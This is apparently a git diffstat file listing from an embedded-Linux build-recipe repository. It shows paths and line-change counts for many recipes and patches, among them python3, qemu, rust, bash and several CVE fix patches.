-rw-r--r--meta/recipes-devtools/python/python3-pycryptodome_3.9.9.bb5
-rw-r--r--meta/recipes-devtools/python/python3-pycryptodomex_3.12.0.bb9
-rw-r--r--meta/recipes-devtools/python/python3-pycryptodomex_3.9.9.bb9
-rw-r--r--meta/recipes-devtools/python/python3-pyelftools_0.27.bb2
-rw-r--r--meta/recipes-devtools/python/python3-pygments_2.10.0.bb19
-rw-r--r--meta/recipes-devtools/python/python3-pygments_2.7.2.bb19
-rw-r--r--meta/recipes-devtools/python/python3-pygobject_3.38.0.bb32
-rw-r--r--meta/recipes-devtools/python/python3-pygobject_3.42.0.bb34
-rw-r--r--meta/recipes-devtools/python/python3-pyparsing_2.4.7.bb3
-rw-r--r--meta/recipes-devtools/python/python3-pyparsing_3.0.6.bb22
-rw-r--r--meta/recipes-devtools/python/python3-pyrsistent_0.18.0.bb14
-rw-r--r--meta/recipes-devtools/python/python3-pytest_6.2.5.bb41
-rw-r--r--meta/recipes-devtools/python/python3-pyyaml_6.0.bb19
-rw-r--r--meta/recipes-devtools/python/python3-rfc3339-validator_0.1.4.bb21
-rw-r--r--meta/recipes-devtools/python/python3-rfc3986-validator_0.1.1.bb24
-rw-r--r--meta/recipes-devtools/python/python3-rfc3987_1.3.8.bb11
-rw-r--r--meta/recipes-devtools/python/python3-ruamel-yaml_0.17.17.bb24
-rw-r--r--meta/recipes-devtools/python/python3-scons-native_3.1.2.bb7
-rw-r--r--meta/recipes-devtools/python/python3-scons-native_4.3.0.bb7
-rw-r--r--meta/recipes-devtools/python/python3-scons/0001-Fix-man-page-installation.patch29
-rw-r--r--meta/recipes-devtools/python/python3-scons_3.1.2.bb33
-rw-r--r--meta/recipes-devtools/python/python3-scons_4.3.0.bb27
-rw-r--r--meta/recipes-devtools/python/python3-setuptools-scm_6.3.2.bb26
-rw-r--r--meta/recipes-devtools/python/python3-setuptools/0001-_distutils-sysconfig-append-STAGING_LIBDIR-python-sy.patch35
-rw-r--r--meta/recipes-devtools/python/python3-setuptools_50.3.2.bb65
-rw-r--r--meta/recipes-devtools/python/python3-setuptools_59.5.0.bb58
-rw-r--r--meta/recipes-devtools/python/python3-six_1.15.0.bb5
-rw-r--r--meta/recipes-devtools/python/python3-six_1.16.0.bb4
-rw-r--r--meta/recipes-devtools/python/python3-smartypants_2.0.0.bb13
-rw-r--r--meta/recipes-devtools/python/python3-smmap_3.0.4.bb3
-rw-r--r--meta/recipes-devtools/python/python3-smmap_5.0.0.bb19
-rw-r--r--meta/recipes-devtools/python/python3-sortedcontainers_2.4.0.bb9
-rw-r--r--meta/recipes-devtools/python/python3-strict-rfc3339_0.7.bb11
-rw-r--r--meta/recipes-devtools/python/python3-subunit_1.4.0.bb2
-rw-r--r--meta/recipes-devtools/python/python3-testtools/no_traceback2.patch23
-rw-r--r--meta/recipes-devtools/python/python3-testtools_2.4.0.bb4
-rw-r--r--meta/recipes-devtools/python/python3-testtools_2.5.0.bb2
-rw-r--r--meta/recipes-devtools/python/python3-toml_0.10.2.bb15
-rw-r--r--meta/recipes-devtools/python/python3-tomli_1.2.2.bb20
-rw-r--r--meta/recipes-devtools/python/python3-typogrify_2.0.7.bb14
-rw-r--r--meta/recipes-devtools/python/python3-vcversioner_2.16.0.0.bb12
-rw-r--r--meta/recipes-devtools/python/python3-wcwidth/run-ptest3
-rw-r--r--meta/recipes-devtools/python/python3-wcwidth_0.2.5.bb25
-rw-r--r--meta/recipes-devtools/python/python3-webcolors/run-ptest3
-rw-r--r--meta/recipes-devtools/python/python3-webcolors_1.11.1.bb28
-rw-r--r--meta/recipes-devtools/python/python3-zipp_3.6.0.bb18
-rw-r--r--meta/recipes-devtools/python/python3/0001-Do-not-add-usr-lib-termcap-to-linker-flags-to-avoid-.patch6
-rw-r--r--meta/recipes-devtools/python/python3/0001-Do-not-use-the-shell-version-of-python-config-that-w.patch7
-rw-r--r--meta/recipes-devtools/python/python3/0001-Don-t-search-system-for-headers-libraries.patch6
-rw-r--r--meta/recipes-devtools/python/python3/0001-Lib-pty.py-handle-stdin-I-O-errors-same-way-as-maste.patch47
-rw-r--r--meta/recipes-devtools/python/python3/0001-Lib-sysconfig.py-use-libdir-values-from-configuratio.patch35
-rw-r--r--meta/recipes-devtools/python/python3/0001-Lib-sysconfig.py-use-prefix-value-from-build-configu.patch32
-rw-r--r--meta/recipes-devtools/python/python3/0001-Makefile-do-not-compile-.pyc-in-parallel.patch17
-rw-r--r--meta/recipes-devtools/python/python3/0001-Makefile-fix-Issue36464-parallel-build-race-problem.patch34
-rw-r--r--meta/recipes-devtools/python/python3/0001-Makefile.pre-use-qemu-wrapper-when-gathering-profile.patch7
-rw-r--r--meta/recipes-devtools/python/python3/0001-Skip-failing-tests-due-to-load-variability-on-YP-AB.patch50
-rw-r--r--meta/recipes-devtools/python/python3/0001-Use-FLAG_REF-always-for-interned-strings.patch4
-rw-r--r--meta/recipes-devtools/python/python3/0001-bpo-36852-proper-detection-of-mips-architecture-for-.patch20
-rw-r--r--meta/recipes-devtools/python/python3/0001-distutils-sysconfig-append-STAGING_LIBDIR-python-sys.patch24
-rw-r--r--meta/recipes-devtools/python/python3/0001-python3-use-cc_basename-to-replace-CC-for-checking-c.patch24
-rw-r--r--meta/recipes-devtools/python/python3/0001-setup.py-pass-missing-libraries-to-Extension-for-mul.patch15
-rw-r--r--meta/recipes-devtools/python/python3/0001-sysconfig.py-use-platlibdir-also-for-purelib.patch28
-rw-r--r--meta/recipes-devtools/python/python3/0001-test_ctypes.test_find-skip-without-tools-sdk.patch34
-rw-r--r--meta/recipes-devtools/python/python3/0001-test_locale.py-correct-the-test-output-format.patch18
-rw-r--r--meta/recipes-devtools/python/python3/0017-setup.py-do-not-report-missing-dependencies-for-disa.patch18
-rw-r--r--meta/recipes-devtools/python/python3/0020-configure.ac-setup.py-do-not-add-a-curses-include-pa.patch11
-rw-r--r--meta/recipes-devtools/python/python3/12-distutils-prefix-is-inside-staging-area.patch16
-rw-r--r--meta/recipes-devtools/python/python3/CVE-2020-27619.patch69
-rw-r--r--meta/recipes-devtools/python/python3/avoid_warning_about_tkinter.patch6
-rw-r--r--meta/recipes-devtools/python/python3/cgi_py.patch4
-rw-r--r--meta/recipes-devtools/python/python3/create_manifest3.py47
-rw-r--r--meta/recipes-devtools/python/python3/crosspythonpath.patch15
-rw-r--r--meta/recipes-devtools/python/python3/get_module_deps3.py72
-rw-r--r--meta/recipes-devtools/python/python3/makerace.patch32
-rw-r--r--meta/recipes-devtools/python/python3/python-config.patch15
-rw-r--r--meta/recipes-devtools/python/python3/python3-manifest.json18
-rw-r--r--meta/recipes-devtools/python/python3/reformat_sysconfig.py2
-rw-r--r--meta/recipes-devtools/python/python3_3.10.1.bb400
-rw-r--r--meta/recipes-devtools/python/python3_3.9.0.bb376
-rw-r--r--meta/recipes-devtools/qemu/nativesdk-qemu-helper_1.0.bb2
-rw-r--r--meta/recipes-devtools/qemu/qemu-helper-native_1.0.bb2
-rw-r--r--meta/recipes-devtools/qemu/qemu-native.inc10
-rw-r--r--meta/recipes-devtools/qemu/qemu-native_5.1.0.bb9
-rw-r--r--meta/recipes-devtools/qemu/qemu-native_6.2.0.bb9
-rw-r--r--meta/recipes-devtools/qemu/qemu-system-native_5.1.0.bb26
-rw-r--r--meta/recipes-devtools/qemu/qemu-system-native_6.2.0.bb32
-rw-r--r--meta/recipes-devtools/qemu/qemu.inc92
-rw-r--r--meta/recipes-devtools/qemu/qemu/0001-Add-enable-disable-udev.patch29
-rw-r--r--meta/recipes-devtools/qemu/qemu/0001-qemu-Add-missing-wacom-HID-descriptor.patch16
-rw-r--r--meta/recipes-devtools/qemu/qemu/0001-qemu-Do-not-include-file-if-not-exists.patch10
-rw-r--r--meta/recipes-devtools/qemu/qemu/0001-riscv-Set-5.4-as-minimum-kernel-version-for-riscv32.patch40
-rw-r--r--meta/recipes-devtools/qemu/qemu/0001-target-mips-Increase-number-of-TLB-entries-on-the-34.patch59
-rw-r--r--meta/recipes-devtools/qemu/qemu/0001-tests-meson.build-use-relative-path-to-refer-to-file.patch34
-rw-r--r--meta/recipes-devtools/qemu/qemu/0002-Add-subpackage-ptest-which-runs-all-unit-test-cases-.patch35
-rw-r--r--meta/recipes-devtools/qemu/qemu/0003-qemu-Add-addition-environment-space-to-boot-loader-q.patch12
-rw-r--r--meta/recipes-devtools/qemu/qemu/0004-qemu-disable-Valgrind.patch34
-rw-r--r--meta/recipes-devtools/qemu/qemu/0005-qemu-native-set-ld.bfd-fix-cflags-and-set-some-envir.patch28
-rw-r--r--meta/recipes-devtools/qemu/qemu/0006-chardev-connect-socket-to-a-spawned-command.patch46
-rw-r--r--meta/recipes-devtools/qemu/qemu/0007-apic-fixup-fallthrough-to-PIC.patch8
-rw-r--r--meta/recipes-devtools/qemu/qemu/0008-linux-user-Fix-webkitgtk-hangs-on-32-bit-x86-target.patch33
-rw-r--r--meta/recipes-devtools/qemu/qemu/0009-Fix-webkitgtk-builds.patch137
-rw-r--r--meta/recipes-devtools/qemu/qemu/0010-configure-Add-pkg-config-handling-for-libgcrypt.patch94
-rw-r--r--meta/recipes-devtools/qemu/qemu/CVE-2020-24352.patch52
-rw-r--r--meta/recipes-devtools/qemu/qemu/cross.patch40
-rw-r--r--meta/recipes-devtools/qemu/qemu/determinism.patch22
-rw-r--r--meta/recipes-devtools/qemu/qemu/find_datadir.patch39
-rw-r--r--meta/recipes-devtools/qemu/qemu/mmap2.patch39
-rw-r--r--meta/recipes-devtools/qemu/qemu/run-ptest5
-rw-r--r--meta/recipes-devtools/qemu/qemu/usb-fix-setup_len-init.patch89
-rw-r--r--meta/recipes-devtools/qemu/qemu_5.1.0.bb28
-rw-r--r--meta/recipes-devtools/qemu/qemu_6.2.0.bb27
-rw-r--r--meta/recipes-devtools/qemu/qemuwrapper-cross_1.0.bb1
-rw-r--r--meta/recipes-devtools/quilt/quilt.inc32
-rw-r--r--meta/recipes-devtools/repo/repo/0001-python3-shebang.patch26
-rw-r--r--meta/recipes-devtools/repo/repo_2.19.bb33
-rw-r--r--meta/recipes-devtools/rpm/files/0001-Do-not-hardcode-lib-rpm-as-the-installation-path-for.patch14
-rw-r--r--meta/recipes-devtools/rpm/files/0001-Fix-build-with-musl-C-library.patch22
-rw-r--r--meta/recipes-devtools/rpm/files/0001-build-pack.c-do-not-insert-payloadflags-into-.rpm-me.patch28
-rw-r--r--meta/recipes-devtools/rpm/files/0001-docs-do-not-build-manpages-requires-pandoc.patch26
-rw-r--r--meta/recipes-devtools/rpm/files/0001-rpm-rpmio.c-restrict-virtual-memory-usage-if-limit-s.patch65
-rw-r--r--meta/recipes-devtools/rpm/files/0001-rpmdb.c-add-a-missing-include.patch25
-rw-r--r--meta/recipes-devtools/rpm/files/0001-tools-Add-error.h-for-non-glibc-case.patch59
-rw-r--r--meta/recipes-devtools/rpm/files/0011-Do-not-require-that-ELF-binaries-are-executable-to-b.patch33
-rw-r--r--meta/recipes-devtools/rpm/rpm_4.16.0.bb165
-rw-r--r--meta/recipes-devtools/rpm/rpm_4.17.0.bb202
-rw-r--r--meta/recipes-devtools/rsync/files/0001-rsync-ssl-Verify-the-hostname-in-the-certificate-whe.patch31
-rw-r--r--meta/recipes-devtools/rsync/files/determism.patch34
-rw-r--r--meta/recipes-devtools/rsync/rsync_3.2.3.bb11
-rw-r--r--meta/recipes-devtools/ruby/ruby.inc22
-rw-r--r--meta/recipes-devtools/ruby/ruby/0001-Modify-shebang-of-libexec-y2racc-and-libexec-racc2y.patch38
-rw-r--r--meta/recipes-devtools/ruby/ruby/0001-template-Makefile.in-do-not-write-host-cross-cc-item.patch32
-rw-r--r--meta/recipes-devtools/ruby/ruby/0002-Obey-LDFLAGS-for-the-link-of-libruby.patch14
-rw-r--r--meta/recipes-devtools/ruby/ruby/0002-template-Makefile.in-filter-out-f-prefix-map.patch42
-rw-r--r--meta/recipes-devtools/ruby/ruby/0003-rdoc-build-reproducible-documentation.patch35
-rw-r--r--meta/recipes-devtools/ruby/ruby/0004-lib-mkmf.rb-sort-list-of-object-files-in-generated-M.patch28
-rw-r--r--meta/recipes-devtools/ruby/ruby/0005-Mark-Gemspec-reproducible-change-fixing-784225-too.patch28
-rw-r--r--meta/recipes-devtools/ruby/ruby/0006-Make-gemspecs-reproducible.patch67
-rw-r--r--meta/recipes-devtools/ruby/ruby/remove_has_include_macros.patch17
-rw-r--r--meta/recipes-devtools/ruby/ruby_2.7.2.bb92
-rw-r--r--meta/recipes-devtools/ruby/ruby_3.0.3.bb105
-rwxr-xr-xmeta/recipes-devtools/run-postinsts/run-postinsts/run-postinsts10
-rw-r--r--meta/recipes-devtools/run-postinsts/run-postinsts_1.0.bb9
-rw-r--r--meta/recipes-devtools/rust/README-rust.md58
-rw-r--r--meta/recipes-devtools/rust/libstd-rs.inc40
-rw-r--r--meta/recipes-devtools/rust/libstd-rs/0005-Add-base-definitions-for-riscv64-musl-libc.patch863
-rw-r--r--meta/recipes-devtools/rust/libstd-rs/0006-FIXUP-linux-musl-mod.rs-add-riscv64-to-b64-set.patch26
-rw-r--r--meta/recipes-devtools/rust/libstd-rs/0007-FIXUP-Correct-definitions-to-match-musl.patch684
-rw-r--r--meta/recipes-devtools/rust/libstd-rs/0008-Update-checksums-for-modified-files-for-rust.patch22
-rw-r--r--meta/recipes-devtools/rust/libstd-rs_1.57.0.bb11
-rw-r--r--meta/recipes-devtools/rust/rust-common.inc369
-rw-r--r--meta/recipes-devtools/rust/rust-cross-canadian-common.inc55
-rw-r--r--meta/recipes-devtools/rust/rust-cross-canadian.inc78
-rw-r--r--meta/recipes-devtools/rust/rust-cross-canadian_1.57.0.bb6
-rw-r--r--meta/recipes-devtools/rust/rust-cross.inc73
-rw-r--r--meta/recipes-devtools/rust/rust-cross_1.57.0.bb2
-rw-r--r--meta/recipes-devtools/rust/rust-llvm.inc69
-rw-r--r--meta/recipes-devtools/rust/rust-llvm/0002-llvm-allow-env-override-of-exe-path.patch33
-rw-r--r--meta/recipes-devtools/rust/rust-llvm_1.57.0.bb5
-rw-r--r--meta/recipes-devtools/rust/rust-snapshot.inc25
-rw-r--r--meta/recipes-devtools/rust/rust-source.inc7
-rw-r--r--meta/recipes-devtools/rust/rust-target.inc10
-rw-r--r--meta/recipes-devtools/rust/rust-tools-cross-canadian.inc38
-rw-r--r--meta/recipes-devtools/rust/rust-tools-cross-canadian_1.57.0.bb6
-rw-r--r--meta/recipes-devtools/rust/rust.inc202
-rw-r--r--meta/recipes-devtools/rust/rust_1.57.0.bb21
-rw-r--r--meta/recipes-devtools/squashfs-tools/files/0001-squashfs-tools-fix-build-failure-against-gcc-10.patch45
-rw-r--r--meta/recipes-devtools/squashfs-tools/squashfs-tools/0001-Avoid-use-of-INSTALL_DIR-for-symlink-targets.patch34
-rw-r--r--meta/recipes-devtools/squashfs-tools/squashfs-tools/CVE-2021-41072-requisite-1.patch135
-rw-r--r--meta/recipes-devtools/squashfs-tools/squashfs-tools/CVE-2021-41072-requisite-2.patch108
-rw-r--r--meta/recipes-devtools/squashfs-tools/squashfs-tools/CVE-2021-41072-requisite-3.patch326
-rw-r--r--meta/recipes-devtools/squashfs-tools/squashfs-tools/CVE-2021-41072.patch329
-rw-r--r--meta/recipes-devtools/squashfs-tools/squashfs-tools_git.bb26
-rw-r--r--meta/recipes-devtools/strace/strace/0001-xlat-Mark-IPPROTO_MAX-last-in-IPPROTO_-constants.patch70
-rw-r--r--meta/recipes-devtools/strace/strace/Makefile-ptest.patch23
-rw-r--r--meta/recipes-devtools/strace/strace/disable-git-version-gen.patch37
-rwxr-xr-xmeta/recipes-devtools/strace/strace/run-ptest11
-rw-r--r--meta/recipes-devtools/strace/strace/uintptr_t.patch27
-rw-r--r--meta/recipes-devtools/strace/strace/update-gawk-paths.patch44
-rw-r--r--meta/recipes-devtools/strace/strace_5.15.bb54
-rw-r--r--meta/recipes-devtools/strace/strace_5.9.bb56
-rw-r--r--meta/recipes-devtools/subversion/subversion/0001-Fix-libtool-name-in-configure.ac.patch29
-rw-r--r--meta/recipes-devtools/subversion/subversion_1.14.0.bb62
-rw-r--r--meta/recipes-devtools/subversion/subversion_1.14.1.bb62
-rw-r--r--meta/recipes-devtools/swig/swig.inc10
-rw-r--r--meta/recipes-devtools/swig/swig/0001-Add-Node-7.x-aka-V8-5.2-support.patch330
-rw-r--r--meta/recipes-devtools/swig/swig/0001-Fix-generated-code-for-constant-expressions-containi.patch179
-rw-r--r--meta/recipes-devtools/swig/swig/0001-Use-proc-self-exe-for-swig-swiglib-on-non-Win32-plat.patch13
-rw-r--r--meta/recipes-devtools/swig/swig/0001-configure-use-pkg-config-for-pcre-detection.patch9
-rw-r--r--meta/recipes-devtools/swig/swig/Python-Fix-new-GCC8-warnings-in-generated-code.patch191
-rw-r--r--meta/recipes-devtools/swig/swig/determinism.patch17
-rw-r--r--meta/recipes-devtools/swig/swig/swig-3.0.12-Coverity-fix-issue-reported-for-SWIG_Python_FixMetho.patch36
-rw-r--r--meta/recipes-devtools/swig/swig_3.0.12.bb12
-rw-r--r--meta/recipes-devtools/swig/swig_4.0.2.bb7
-rw-r--r--meta/recipes-devtools/syslinux/syslinux/determinism.patch22
-rw-r--r--meta/recipes-devtools/syslinux/syslinux_6.04-pre2.bb123
-rw-r--r--meta/recipes-devtools/systemd-bootchart/systemd-bootchart/0001-comparison_fn_t-is-glibc-specific-use-raw-signature-.patch2
-rw-r--r--meta/recipes-devtools/systemd-bootchart/systemd-bootchart/0002-musl-does-not-provide-printf-h.patch2
-rw-r--r--meta/recipes-devtools/systemd-bootchart/systemd-bootchart/0003-musl-does-not-provide-canonicalize_file_name.patch2
-rw-r--r--meta/recipes-devtools/systemd-bootchart/systemd-bootchart/no_lto.patch19
-rw-r--r--meta/recipes-devtools/systemd-bootchart/systemd-bootchart_233.bb39
-rw-r--r--meta/recipes-devtools/systemd-bootchart/systemd-bootchart_234.bb44
-rw-r--r--meta/recipes-devtools/tcf-agent/tcf-agent/fix_ranlib.patch17
-rw-r--r--meta/recipes-devtools/tcf-agent/tcf-agent/ldflags.patch6
-rw-r--r--meta/recipes-devtools/tcf-agent/tcf-agent_git.bb31
-rw-r--r--meta/recipes-devtools/tcltk/tcl/0001-Fix-abd4abedd2-Failed-to-build-tk-8.6.10-with-cross-.patch44
-rw-r--r--meta/recipes-devtools/tcltk/tcl/alter-includedir.patch53
-rw-r--r--meta/recipes-devtools/tcltk/tcl/fix_issue_with_old_distro_glibc.patch4
-rw-r--r--meta/recipes-devtools/tcltk/tcl/fix_non_native_build_issue.patch4
-rw-r--r--meta/recipes-devtools/tcltk/tcl/interp.patch32
-rw-r--r--meta/recipes-devtools/tcltk/tcl/no_packages.patch53
-rw-r--r--meta/recipes-devtools/tcltk/tcl/run-ptest8
-rw-r--r--meta/recipes-devtools/tcltk/tcl/tcl-add-soname.patch22
-rw-r--r--meta/recipes-devtools/tcltk/tcl/tcl-remove-hardcoded-install-path.patch22
-rw-r--r--meta/recipes-devtools/tcltk/tcl_8.6.10.bb106
-rw-r--r--meta/recipes-devtools/tcltk/tcl_8.6.11.bb103
-rw-r--r--meta/recipes-devtools/unfs3/unfs3/no-yywrap.patch14
-rw-r--r--meta/recipes-devtools/unfs3/unfs3_git.bb12
-rw-r--r--meta/recipes-devtools/unifdef/unifdef_2.12.bb1
-rw-r--r--meta/recipes-devtools/vala/vala.inc18
-rw-r--r--meta/recipes-devtools/vala/vala/0001-vapigen.m4-use-PKG_CONFIG_SYSROOT_DIR.patch2
-rw-r--r--meta/recipes-devtools/vala/vala_0.50.1.bb5
-rw-r--r--meta/recipes-devtools/vala/vala_0.54.4.bb5
-rw-r--r--meta/recipes-devtools/valgrind/valgrind/0001-Remove-tests-that-fail-to-build-on-some-PPC32-config.patch51
-rw-r--r--meta/recipes-devtools/valgrind/valgrind/0001-drd-Port-to-Fedora-33.patch48
-rw-r--r--meta/recipes-devtools/valgrind/valgrind/0001-drd-musl-fix.patch31
-rw-r--r--meta/recipes-devtools/valgrind/valgrind/0001-helgrind-Intercept-libc-functions.patch54
-rw-r--r--meta/recipes-devtools/valgrind/valgrind/0001-none-tests-fdleak_cmsg.stderr.exp-adjust-tmp-paths.patch2
-rw-r--r--meta/recipes-devtools/valgrind/valgrind/0001-str_tester.c-Limit-rawmemchr-test-to-glibc.patch20
-rw-r--r--meta/recipes-devtools/valgrind/valgrind/0002-context-APIs-are-not-available-on-musl.patch50
-rw-r--r--meta/recipes-devtools/valgrind/valgrind/0004-Fix-out-of-tree-builds.patch49
-rw-r--r--meta/recipes-devtools/valgrind/valgrind/0005-Modify-vg_test-wrapper-to-support-PTEST-formats.patch11
-rw-r--r--meta/recipes-devtools/valgrind/valgrind/0005-tc20_verifywrap.c-Fake-__GLIBC_PREREQ-with-musl.patch12
-rw-r--r--meta/recipes-devtools/valgrind/valgrind/fixed-perl-path.patch20
-rw-r--r--meta/recipes-devtools/valgrind/valgrind/remove-for-aarch643
-rw-r--r--meta/recipes-devtools/valgrind/valgrind/remove-for-all8
-rwxr-xr-xmeta/recipes-devtools/valgrind/valgrind/run-ptest39
-rw-r--r--meta/recipes-devtools/valgrind/valgrind/s390x_vec_op_t.patch24
-rw-r--r--meta/recipes-devtools/valgrind/valgrind/taskset_nondeterministic_tests2
-rw-r--r--meta/recipes-devtools/valgrind/valgrind_3.16.1.bb245
-rw-r--r--meta/recipes-devtools/valgrind/valgrind_3.18.1.bb252
-rw-r--r--meta/recipes-devtools/xmlto/xmlto_0.0.28.bb13
-rw-r--r--meta/recipes-example/rust-hello-world/rust-hello-world/0001-enable-LTO.patch24
-rw-r--r--meta/recipes-example/rust-hello-world/rust-hello-world_git.bb19
-rw-r--r--meta/recipes-extended/acpica/acpica_20200925.bb49
-rw-r--r--meta/recipes-extended/acpica/acpica_20210930.bb51
-rw-r--r--meta/recipes-extended/asciidoc/asciidoc/auto-catalogs.patch53
-rw-r--r--meta/recipes-extended/asciidoc/asciidoc_10.0.2.bb27
-rw-r--r--meta/recipes-extended/asciidoc/asciidoc_9.0.4.bb31
-rw-r--r--meta/recipes-extended/at/at/0001-remove-glibc-assumption.patch23
-rw-r--r--meta/recipes-extended/at/at/file_replacement_with_gplv2.patch8
-rw-r--r--meta/recipes-extended/at/at/fix_parallel_build_error.patch11
-rw-r--r--meta/recipes-extended/at/at/makefile-fix-parallel.patch8
-rw-r--r--meta/recipes-extended/at/at_3.1.23.bb78
-rw-r--r--meta/recipes-extended/at/at_3.2.2.bb76
-rw-r--r--meta/recipes-extended/bash/bash.inc54
-rw-r--r--meta/recipes-extended/bash/bash/bash-CVE-2019-18276.patch386
-rw-r--r--meta/recipes-extended/bash/bash/build-tests.patch16
-rw-r--r--meta/recipes-extended/bash/bash/makerace.patch52
-rw-r--r--meta/recipes-extended/bash/bash/makerace2.patch98
-rw-r--r--meta/recipes-extended/bash/bash/use_aclocal.patch59
-rw-r--r--meta/recipes-extended/bash/bash_5.0.bb80
-rw-r--r--meta/recipes-extended/bash/bash_5.1.8.bb25
-rw-r--r--meta/recipes-extended/bc/bc_1.07.1.bb5
-rw-r--r--meta/recipes-extended/bzip2/bzip2/Makefile.am4
-rw-r--r--meta/recipes-extended/bzip2/bzip2_1.0.8.bb30
-rw-r--r--meta/recipes-extended/cpio/cpio-2.13/CVE-2021-38185.patch581
-rw-r--r--meta/recipes-extended/cpio/cpio_2.13.bb10
-rw-r--r--meta/recipes-extended/cracklib/cracklib/0001-Apply-patch-to-fix-CVE-2016-6318.patch105
-rw-r--r--meta/recipes-extended/cracklib/cracklib/0001-packlib.c-support-dictionary-byte-order-dependent.patch14
-rw-r--r--meta/recipes-extended/cracklib/cracklib/0002-craklib-fix-testnum-and-teststr-failed.patch12
-rw-r--r--meta/recipes-extended/cracklib/cracklib_2.9.5.bb29
-rw-r--r--meta/recipes-extended/cracklib/cracklib_2.9.7.bb33
-rw-r--r--meta/recipes-extended/cronie/cronie_1.5.5.bb84
-rw-r--r--meta/recipes-extended/cronie/cronie_1.5.7.bb83
-rw-r--r--meta/recipes-extended/cups/cups.inc56
-rw-r--r--meta/recipes-extended/cups/cups/0002-don-t-try-to-run-generated-binaries.patch42
-rw-r--r--meta/recipes-extended/cups/cups/0003-cups_1.4.6.bb-Fix-build-on-ppc64.patch51
-rw-r--r--meta/recipes-extended/cups/cups/libexecdir.patch35
-rw-r--r--meta/recipes-extended/cups/cups_2.3.3.bb6
-rw-r--r--meta/recipes-extended/cups/cups_2.4.0.bb5
-rw-r--r--meta/recipes-extended/cwautomacros/cwautomacros_20110201.bb3
-rw-r--r--meta/recipes-extended/diffutils/diffutils.inc2
-rw-r--r--meta/recipes-extended/diffutils/diffutils_3.7.bb40
-rw-r--r--meta/recipes-extended/diffutils/diffutils_3.8.bb42
-rw-r--r--meta/recipes-extended/ed/ed_1.16.bb38
-rw-r--r--meta/recipes-extended/ed/ed_1.17.bb38
-rw-r--r--meta/recipes-extended/ethtool/ethtool/avoid_parallel_tests.patch6
-rw-r--r--meta/recipes-extended/ethtool/ethtool_5.15.bb37
-rw-r--r--meta/recipes-extended/ethtool/ethtool_5.9.bb37
-rw-r--r--meta/recipes-extended/findutils/findutils.inc8
-rw-r--r--meta/recipes-extended/findutils/findutils/run-ptest57
-rw-r--r--meta/recipes-extended/findutils/findutils_4.7.0.bb15
-rw-r--r--meta/recipes-extended/findutils/findutils_4.8.0.bb26
-rw-r--r--meta/recipes-extended/gawk/gawk/0001-Use-cross-AR-during-compile.patch35
-rw-r--r--meta/recipes-extended/gawk/gawk/test-time.patch22
-rw-r--r--meta/recipes-extended/gawk/gawk_5.1.0.bb56
-rw-r--r--meta/recipes-extended/gawk/gawk_5.1.1.bb59
-rw-r--r--meta/recipes-extended/ghostscript/ghostscript_9.53.3.bb125
-rw-r--r--meta/recipes-extended/ghostscript/ghostscript_9.55.0.bb129
-rw-r--r--meta/recipes-extended/go-examples/go-helloworld_0.1.bb10
-rw-r--r--meta/recipes-extended/grep/grep_3.5.bb43
-rw-r--r--meta/recipes-extended/grep/grep_3.7.bb46
-rw-r--r--meta/recipes-extended/groff/files/0001-Include-config.h.patch1032
-rw-r--r--meta/recipes-extended/groff/groff_1.22.4.bb24
-rw-r--r--meta/recipes-extended/gzip/gzip-1.11/wrong-path-fix.patch (renamed from meta/recipes-extended/gzip/gzip-1.10/wrong-path-fix.patch)0
-rw-r--r--meta/recipes-extended/gzip/gzip.inc8
-rw-r--r--meta/recipes-extended/gzip/gzip_1.10.bb40
-rw-r--r--meta/recipes-extended/gzip/gzip_1.11.bb39
-rw-r--r--meta/recipes-extended/hdparm/hdparm_9.58.bb43
-rw-r--r--meta/recipes-extended/hdparm/hdparm_9.62.bb43
-rw-r--r--meta/recipes-extended/images/core-image-kernel-dev.bb2
-rw-r--r--meta/recipes-extended/iptables/iptables_1.8.6.bb110
-rw-r--r--meta/recipes-extended/iptables/iptables_1.8.7.bb110
-rw-r--r--meta/recipes-extended/iputils/iputils/0001-meson-Make-tests-optional.patch220
-rw-r--r--meta/recipes-extended/iputils/iputils/0001-rarpd-rdisc-Drop-PrivateUsers.patch31
-rw-r--r--meta/recipes-extended/iputils/iputils_20210722.bb72
-rw-r--r--meta/recipes-extended/iputils/iputils_s20200821.bb72
-rw-r--r--meta/recipes-extended/less/less_563.bb42
-rw-r--r--meta/recipes-extended/less/less_598.bb42
-rw-r--r--meta/recipes-extended/libaio/libaio/destdir.patch17
-rw-r--r--meta/recipes-extended/libaio/libaio/system-linkage.patch18
-rw-r--r--meta/recipes-extended/libaio/libaio_0.3.111.bb23
-rw-r--r--meta/recipes-extended/libaio/libaio_0.3.112.bb22
-rw-r--r--meta/recipes-extended/libarchive/libarchive_3.4.3.bb66
-rw-r--r--meta/recipes-extended/libarchive/libarchive_3.5.2.bb66
-rw-r--r--meta/recipes-extended/libidn/libidn2_2.3.0.bb32
-rw-r--r--meta/recipes-extended/libidn/libidn2_2.3.2.bb31
-rw-r--r--meta/recipes-extended/libnsl/libnsl2_git.bb6
-rw-r--r--meta/recipes-extended/libnss-nis/libnss-nis.bb4
-rw-r--r--meta/recipes-extended/libpipeline/libpipeline_1.5.3.bb14
-rw-r--r--meta/recipes-extended/libpipeline/libpipeline_1.5.4.bb14
-rw-r--r--meta/recipes-extended/libsolv/libsolv/0001-utils-Conside-musl-when-wrapping-qsort_r.patch34
-rw-r--r--meta/recipes-extended/libsolv/libsolv_0.7.16.bb31
-rw-r--r--meta/recipes-extended/libsolv/libsolv_0.7.20.bb33
-rw-r--r--meta/recipes-extended/libtirpc/libtirpc_1.2.6.bb26
-rw-r--r--meta/recipes-extended/libtirpc/libtirpc_1.3.2.bb25
-rw-r--r--meta/recipes-extended/lighttpd/lighttpd/0001-Use-pkg-config-for-pcre-dependency-instead-of-config.patch42
-rw-r--r--meta/recipes-extended/lighttpd/lighttpd_1.4.55.bb83
-rw-r--r--meta/recipes-extended/lighttpd/lighttpd_1.4.63.bb81
-rw-r--r--meta/recipes-extended/logrotate/logrotate/act-as-mv-when-rotate.patch2
-rw-r--r--meta/recipes-extended/logrotate/logrotate_3.17.0.bb91
-rw-r--r--meta/recipes-extended/logrotate/logrotate_3.18.1.bb95
-rw-r--r--meta/recipes-extended/lsb/lsb-release/help2man-reproducibility.patch27
-rw-r--r--meta/recipes-extended/lsb/lsb-release_1.4.bb5
-rw-r--r--meta/recipes-extended/lsof/files/lsof-remove-host-information.patch17
-rw-r--r--meta/recipes-extended/lsof/lsof_4.91.bb63
-rw-r--r--meta/recipes-extended/lsof/lsof_4.94.0.bb46
-rw-r--r--meta/recipes-extended/ltp/ltp/0001-Add-more-musl-exclusions.patch32
